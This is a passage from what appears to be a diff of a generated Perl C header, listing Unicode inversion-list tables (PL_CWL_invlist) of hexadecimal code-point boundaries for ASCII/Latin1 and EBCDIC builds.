0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0x2D6F, - 0x2D70, - 0x2E9F, - 0x2EA0, - 0x2EF3, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x3000, - 0x3001, - 0x3036, - 0x3037, - 0x3038, - 0x303B, - 0x309B, - 0x309D, - 0x309F, - 0x30A0, - 0x30FF, - 0x3100, - 0x3131, - 0x318F, - 0x3192, - 0x31A0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x327F, - 0x3280, - 0x32FF, - 0x3300, - 0x3400, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA69E, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7F8, - 0xA7FA, - 0xAB5C, - 0xAB60, - 0xAB70, - 0xABC0, - 0xF900, - 0xFA0E, - 0xFA10, - 0xFA11, - 0xFA12, - 0xFA13, - 0xFA15, - 0xFA1F, - 0xFA20, - 0xFA21, - 0xFA22, - 0xFA23, - 0xFA25, - 0xFA27, - 0xFA2A, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFD, - 0xFE00, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE73, - 0xFE74, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF0, - 0xFFF9, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1BCA0, - 0x1BCA4, - 0x1D15E, - 0x1D165, - 0x1D173, - 0x1D17B, - 0x1D1BB, - 0x1D1C1, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1E900, - 0x1E922, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F100, - 0x1F10B, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F150, - 0x1F16A, - 0x1F16C, - 0x1F190, - 0x1F191, - 0x1F200, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x2F800, - 0x2FA1E, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_CWL_invlist[] = { /* for ASCII/Latin1 */ - 1181, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBD, - 0x1FC8, - 0x1FCD, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1E900, - 0x1E922 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_CWL_invlist[] = { /* for EBCDIC 1047 */ - 1199, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 